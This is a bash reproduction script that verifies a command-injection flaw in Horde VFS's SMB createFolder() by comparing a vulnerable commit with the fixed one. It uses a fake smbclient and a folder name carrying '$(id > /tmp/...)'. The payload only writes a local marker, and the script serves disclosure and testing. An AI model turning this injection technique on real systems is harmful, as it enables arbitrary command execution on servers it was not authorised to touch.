#!/bin/bash
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO_DIR="$ROOT/repro"
ARTIFACTS="$REPRO_DIR/artifacts"
CACHE_CONTEXT="$ROOT/project_cache_context.json"
MARKER="/tmp/horde_vfs_smb_poc_folder"
FIXED_COMMIT="41f74b4acfc144e09013d04dd121e0a5da808361"
PROJECT_NAME="horde-vfs"
REPO=""

mkdir -p "$LOGS" "$REPRO_DIR" "$ARTIFACTS"

# Locate or clone the repository.
if [ -f "$CACHE_CONTEXT" ]; then
    CACHE_DIR=$(jq -r '.project_cache_dir // empty' "$CACHE_CONTEXT" 2>/dev/null || true)
    if [ -n "${CACHE_DIR:-}" ] && [ -d "$CACHE_DIR/repo/.git" ]; then
        REPO="$CACHE_DIR/repo"
    fi
fi
if [ -z "${REPO:-}" ]; then
    REPO="$ROOT/artifacts/$PROJECT_NAME"
    mkdir -p "$REPO"
    if [ ! -d "$REPO/.git" ]; then
        git clone https://github.com/horde/Vfs.git "$REPO"
    fi
fi

# Install runtime dependencies if needed.
if ! command -v php >/dev/null 2>&1 || ! command -v composer >/dev/null 2>&1; then
    export DEBIAN_FRONTEND=noninteractive
    sudo apt-get update -q
    sudo apt-get install -y -q php-cli php-mbstring php-xml composer git
fi

cd "$REPO"

# Ensure the fixed commit is available so its parent is the vulnerable commit.
if ! git rev-parse "$FIXED_COMMIT" >/dev/null 2>&1; then
    git fetch --depth 1 origin "$FIXED_COMMIT" || git fetch origin
fi
VULN_COMMIT=$(git rev-parse "$FIXED_COMMIT^")
FIXED_RESOLVED=$(git rev-parse "$FIXED_COMMIT")

echo "Repository: $REPO" > "$LOGS/reproduction_steps.log"
echo "Vulnerable commit: $VULN_COMMIT" >> "$LOGS/reproduction_steps.log"
echo "Fixed commit:      $FIXED_RESOLVED" >> "$LOGS/reproduction_steps.log"

# Fake smbclient that logs arguments and exits cleanly.
FAKE_SMB="$ARTIFACTS/fake_smbclient.sh"
cat > "$FAKE_SMB" <<'EOF'
#!/bin/bash
LOG="${PRUVA_SMB_LOG:-/tmp/smbclient.log}"
{
    printf '--- invocation ---\n'
    printf 'ARG %s\n' "$@"
    printf 'EXIT 0\n'
} >> "$LOG"
exit 0
EOF
chmod +x "$FAKE_SMB"

# PHP harness that drives the real Horde_Vfs_Smb::createFolder() path.
HARNESS="$ARTIFACTS/harness.php"
cat > "$HARNESS" <<'PHP'
<?php
require $_SERVER['PRUVA_VENDOR_DIR'] . '/autoload.php';

$expect = $_SERVER['PRUVA_EXPECT'] ?? 'vulnerable';
$marker = '/tmp/horde_vfs_smb_poc_folder';
$smbLog = $_SERVER['PRUVA_SMB_LOG'] ?? '/tmp/smbclient.log';

@unlink($marker);
@unlink($smbLog);

$fake = $argv[1] ?? '/bin/false';

$vfs = new Horde_Vfs_Smb([
    'username' => 'user',
    'password' => 'pass',
    'hostspec' => '127.0.0.1',
    'share' => 'share',
    'smbclient' => $fake,
    'vfsroot' => '',
]);

try {
    $vfs->createFolder('', '$(id > /tmp/horde_vfs_smb_poc_folder).dir');
} catch (Exception $e) {
    fwrite(STDERR, "Exception: " . $e->getMessage() . "\n");
}

$exists = file_exists($marker);
$content = $exists ? trim(file_get_contents($marker)) : '';

fwrite(STDERR, "Marker exists: " . ($exists ? 'YES' : 'NO') . "\n");
if ($exists) {
    fwrite(STDERR, "Marker content: " . $content . "\n");
}

if ($expect === 'vulnerable') {
    if (!$exists) {
        fwrite(STDERR, "FAIL: marker not created on vulnerable commit\n");
        exit(1);
    }
} else {
    if ($exists) {
        fwrite(STDERR, "FAIL: marker created on fixed commit\n");
        exit(1);
    }
}
exit(0);
PHP

run_attempt() {
    local label=$1
    local commit=$2
    local expect=$3
    local out="$LOGS/${label}.log"
    local smb_log="$LOGS/${label}_smbclient.log"

    rm -f "$out" "$smb_log" "$MARKER"

    echo "" >> "$LOGS/reproduction_steps.log"
    echo "=== $label ($commit) ===" >> "$LOGS/reproduction_steps.log"

    git -C "$REPO" checkout -q "$commit"

    cd "$REPO"
    composer install --ignore-platform-reqs --no-dev --no-interaction --no-progress --no-plugins >> "$out" 2>&1

    PRUVA_VENDOR_DIR="$REPO/vendor" \
    PRUVA_SMB_LOG="$smb_log" \
    PRUVA_EXPECT="$expect" \
        php -d display_errors=1 "$HARNESS" "$FAKE_SMB" >> "$out" 2>&1

    local rc=$?
    echo "Attempt $label finished with rc=$rc" >> "$LOGS/reproduction_steps.log"

    if [ -f "$smb_log" ]; then
        cat "$smb_log" >> "$LOGS/reproduction_steps.log"
    fi

    return $rc
}

overall_rc=0

if ! run_attempt "vulnerable" "$VULN_COMMIT" "vulnerable"; then
    echo "Vulnerable attempt failed" >> "$LOGS/reproduction_steps.log"
    overall_rc=1
fi

if ! run_attempt "fixed" "$FIXED_RESOLVED" "fixed"; then
    echo "Fixed attempt failed" >> "$LOGS/reproduction_steps.log"
    overall_rc=1
fi

# Record the runtime manifest.
if command -v jq >/dev/null 2>&1; then
    jq -n \
        --arg entrypoint_kind "function_call" \
        --arg entrypoint_detail "Horde_Vfs_Smb::createFolder() -> _command() -> _execute() -> proc_open()" \
        --argjson service_started false \
        --argjson healthcheck_passed false \
        --argjson target_path_reached true \
        --argjson runtime_stack '["php","horde-vfs","Horde_Vfs_Smb","smbclient"]' \
        --argjson proof_artifacts '["logs/reproduction_steps.log","logs/vulnerable.log","logs/vulnerable_smbclient.log","logs/fixed.log","logs/fixed_smbclient.log","repro/artifacts/fake_smbclient.sh","repro/artifacts/harness.php"]' \
        --arg notes "Command injection in vulnerable Smb.php causes the shell to execute \$(id) before the fake smbclient is reached; the fixed commit passes the same payload as a literal argument to proc_open." \
        '{
            entrypoint_kind: $entrypoint_kind,
            entrypoint_detail: $entrypoint_detail,
            service_started: $service_started,
            healthcheck_passed: $healthcheck_passed,
            target_path_reached: $target_path_reached,
            runtime_stack: $runtime_stack,
            proof_artifacts: $proof_artifacts,
            notes: $notes
        }' > "$REPRO_DIR/runtime_manifest.json"
else
    cat > "$REPRO_DIR/runtime_manifest.json" <<'JSON'
{
  "entrypoint_kind": "function_call",
  "entrypoint_detail": "Horde_Vfs_Smb::createFolder() -> _command() -> _execute() -> proc_open()",
  "service_started": false,
  "healthcheck_passed": false,
  "target_path_reached": true,
  "runtime_stack": ["php","horde-vfs","Horde_Vfs_Smb","smbclient"],
  "proof_artifacts": ["logs/reproduction_steps.log","logs/vulnerable.log","logs/vulnerable_smbclient.log","logs/fixed.log","logs/fixed_smbclient.log","repro/artifacts/fake_smbclient.sh","repro/artifacts/harness.php"],
  "notes": "Command injection in vulnerable Smb.php causes the shell to execute $(id) before the fake smbclient is reached; the fixed commit passes the same payload as a literal argument to proc_open."
}
JSON
fi

if [ $overall_rc -eq 0 ]; then
    echo "Reproduction confirmed: vulnerable commit executes attacker command, fixed commit does not." >> "$LOGS/reproduction_steps.log"
else
    echo "Reproduction did not confirm the vulnerability as expected." >> "$LOGS/reproduction_steps.log"
fi

exit $overall_rc
